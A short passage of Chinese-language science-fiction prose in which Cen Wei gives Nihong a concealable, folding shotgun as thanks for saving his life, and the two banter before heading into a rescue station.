轰!霓虹闭眼躲过迅速弥漫的灰尘。她轻咳两声,看到那面破烂的石墙彻底倒塌,霰弹在地面留下了圆桌大的浅坑。 “这把枪,算是送给你的礼物。”虽然这样报答救命之恩有些廉价,但岑为觉得这才是她目前最需要的,“前方的枪管可以收缩,枪把还可以折叠,便于藏匿。这把枪的霰弹需要到武器工坊匿名定制,一枚子弹约三千星币。” “怎么一开始不给我?”霓虹对这把枪很是满意。要是岑为一开始就给她这把好枪,兴许自己真敢和那怪物比划两下。 “是因为那时候,我认为你需要我的保护。” “现在呢?”霓虹打趣地看他一眼。 “我倒不是希望你也被通缉,”岑为掏出自己的双刀,和她一同朝救助站内部走去,“但我承认,你远比看起来要可靠强大得多。”